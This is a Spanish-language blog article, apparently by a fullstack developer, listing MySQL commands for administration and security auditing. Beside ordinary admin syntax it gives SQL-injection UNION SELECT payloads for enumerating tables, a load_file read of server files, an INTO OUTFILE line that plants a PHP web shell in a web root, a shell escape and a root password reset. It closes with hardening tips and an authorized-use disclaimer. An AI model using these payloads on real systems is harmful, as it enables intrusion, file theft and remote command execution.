Volver a la página principal
viernes 6 diciembre 2024
41

Comandos básicos y avanzados de MySQL para gestión y explotación de bases de datos

En este artículo, exploramos comandos básicos para interactuar con bases de datos MySQL y ejemplos avanzados para tareas específicas, como extracción de información, lectura/escritura de archivos, y modificaciones en configuraciones. Estos comandos pueden ser útiles tanto para administradores como para auditores de seguridad.

Comandos básicos de gestión de bases de datos

Comando Descripción
show databases; Lista todas las bases de datos disponibles en el servidor MySQL.
use <database>; Cambia el contexto actual a la base de datos especificada.
connect <database>; Conecta a una base de datos específica.
show tables; Muestra todas las tablas de la base de datos seleccionada.
describe <table_name>; Detalla la estructura de una tabla, incluyendo columnas y tipos de datos.
show columns from <table>; Lista las columnas de una tabla, similar a describe.

Información del sistema y del usuario

Comando Descripción
select version(); Muestra la versión de MySQL instalada.
select @@version(); Alternativa para obtener la versión del servidor MySQL.
select user(); Muestra el usuario actual conectado a MySQL.
select database(); Muestra la base de datos seleccionada actualmente.

Ejecutar comandos del sistema desde MySQL

  • Con el cliente MySQL, es posible invocar una shell del sistema operativo:
\! sh

Consultas básicas para auditorías y enumeración

1. Listar tablas de todas las bases de datos:

Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables;
  • information_schema.tables: Contiene información sobre todas las tablas disponibles.

2. Listar columnas de una tabla específica:

Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE_NAME>";
  • Reemplaza <TABLE_NAME> por el nombre de la tabla de interés.

Leer y escribir archivos con MySQL

Nota: Estas operaciones requieren el privilegio FILE.

1. Leer un archivo:

select load_file('/var/lib/mysql-files/key.txt');
  • Permite leer el contenido de un archivo en el servidor.

2. Escribir un archivo:

select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
  • Este comando crea un archivo PHP que puede ejecutar comandos del sistema.

Cambiar la contraseña del usuario root

Si tienes acceso suficiente, puedes intentar cambiar la contraseña del usuario root:

1. Actualizar la contraseña (dependiendo de la versión de MySQL):

UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
   UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';

2. Recargar los privilegios:

FLUSH PRIVILEGES;

3. Salir del cliente MySQL:

quit;

Precauciones y buenas prácticas

1. Controlar privilegios: Revisa qué usuarios tienen acceso a privilegios como FILE, SELECT en information_schema o SUPER.

2. Monitoreo constante: Implementa auditorías para rastrear el uso de comandos sensibles.

3. Restricción de acceso: Limita el acceso al servidor MySQL únicamente a usuarios y aplicaciones autorizados.

4. Actualizar MySQL: Usa versiones actualizadas para mitigar vulnerabilidades conocidas.

Advertencia: Este artículo tiene fines educativos y debe ser usado únicamente en entornos donde tengas autorización explícita.
Compartir:
Creado por:
Author photo

Jorge García

Fullstack developer